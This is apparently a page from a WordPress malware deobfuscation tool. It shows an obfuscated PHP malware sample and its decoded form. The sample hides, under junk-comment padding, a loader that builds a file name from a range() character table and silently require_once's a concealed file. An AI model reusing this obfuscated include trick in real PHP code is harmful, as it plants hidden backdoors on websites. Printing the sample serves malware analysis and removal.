Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /*- ≑⇀◢⑯☰ℤ❧ℒ⊋◣ .m5B|oea≑⇀◢⑯☰ℤ❧ℒ⊋◣ -*/// $SEr /*-Wo-*/// =/*- ↡◤⇜۵║⋷▶✯┙✻⋚⊝❇㊣‱ aWcGG↡◤⇜۵║⋷▶✯┙✻⋚⊝❇㊣‱ -*/// "ra"/*- ⓖ∀⋴⊮♪ me8ⓖ∀⋴⊮♪ -*/// ."nge"; $KzR /*-YrG-Cf)<cp-*/// =/*- ▍ℬ㈥﹠◑ cRmxbQt▍ℬ㈥﹠◑ -*/// $SEr/*-(vC.-*/// (/*- ⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭ Kn(#sM-⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭ ...



Obfuscated php code

<?php /*-
≑⇀◢⑯☰ℤ❧ℒ⊋◣
.m5B|oea≑⇀◢⑯☰ℤ❧ℒ⊋◣
-*///
$SEr /*-Wo-*///
=/*-

↡◤⇜۵║⋷▶✯┙✻⋚⊝❇㊣‱

aWcGG↡◤⇜۵║⋷▶✯┙✻⋚⊝❇㊣‱

-*///
 "ra"/*-

ⓖ∀⋴⊮♪

me8ⓖ∀⋴⊮♪

-*///
."nge"; $KzR /*-YrG-Cf)<cp-*///
=/*-

▍ℬ㈥﹠◑

cRmxbQt▍ℬ㈥﹠◑

-*///
 $SEr/*-(vC.-*///
(/*-

⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭

Kn(#sM-⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭

-*///
"~"/*-


▷﹄▣∝▇⊜➩✌⊬↶⇖∗≅%⋔◛ⓘ∩☻㊀∎ℳ⇑☀㏒


11$u▷﹄▣∝▇⊜➩✌⊬↶⇖∗≅%⋔◛ⓘ∩☻㊀∎ℳ⇑☀㏒


-*///
,/*-5-*///
" "); /*-

⋚ⓚ

g!3gT(w{:U⋚ⓚ

-*///
@require_once/*-~41-.di-*///
 $KzR/*--(111LS=m-*///
[11+44].$KzR/*-

╍Ⓖ❸▏♀∟Ↄ⑹➝⒨≵↲∢∖♟║⒟≚┮♐[Σ☭

,I:E&7:Pm╍Ⓖ❸▏♀∟Ↄ⑹➝⒨≵↲∢∖♟║⒟≚┮♐[Σ☭

-*///
[3+57].$KzR/*-

┬⇡➷⑼☯⊿⌒@⇥↲⊬Ⅷⅾ》⊸╖⒃⒆⋣ℕ┸❷⋥Ⅰ↭♮➪

tId┬⇡➷⑼☯⊿⌒@⇥↲⊬Ⅷⅾ》⊸╖⒃⒆⋣ℕ┸❷⋥Ⅰ↭♮➪

-*///
[43+18].$KzR/*-


∔❀Ⓖ▍≧㊇↙ⅺ≱♜≎ℚⓆ≌✦➆┼ⓠ


(V.KI∔❀Ⓖ▍≧㊇↙ⅺ≱♜≎ℚⓆ≌✦➆┼ⓠ


-*///
[47+33].$KzR/*-


㊮⒚◝☻≋❺⋞❇☬≍ℭↅ♯⊾⅒⊓❈⇖✪➎╘◗◺⓴✎┇▦▪


jI$3uh!t㊮⒚◝☻≋❺⋞❇☬≍ℭↅ♯⊾⅒⊓❈⇖✪➎╘◗◺⓴✎┇▦▪


-*///
[14+6].$KzR/*-#N-*///
[5+9].$KzR/*-


㊢Ⓙ▷⋷☠Ⓓ╚▾ↁⓟ➇┡↚⋨﹦➳≨


KXTBv`wVb㊢Ⓙ▷⋷☠Ⓓ╚▾ↁⓟ➇┡↚⋨﹦➳≨


-*///
[3+22].$KzR/*-

큐⓴〃☋Ⅳ✯✩≳♆⋳☍☳⌓⊬➅㊎⑦⋡⓱﹥㈠↽⋯◥―⓹☴‹

ax#c3rC@큐⓴〃☋Ⅳ✯✩≳♆⋳☍☳⌓⊬➅㊎⑦⋡⓱﹥㈠↽⋯◥―⓹☴‹

-*///
[16+7]/*-WXHq{$7-*///
; ?>

Decoded(de-Obfuscated) php code

<?php

/*-
≑⇀◢⑯☰ℤ❧ℒ⊋◣
.m5B|oea≑⇀◢⑯☰ℤ❧ℒ⊋◣
-*/
//
$SEr = "range";
$KzR = range(
    /*-
    
    ⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭
    
    Kn(#sM-⊿⒍✝〗▆Ⓠⅽ∀☪❦⊭↚┡✙≦⅘⇅≠ⓧ╌➂∆┪⓼ⓘ⋒↹≔◤┴⑭
    
    -*/
    //
    "~",
    /*-5-*/
    //
    " "
);
/*-

⋚ⓚ

g!3gT(w{:U⋚ⓚ

-*/
//
@(require_once $KzR[55] . $KzR[60] . $KzR[61] . $KzR[80] . $KzR[20] . $KzR[14] . $KzR[25] . $KzR[23]);


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.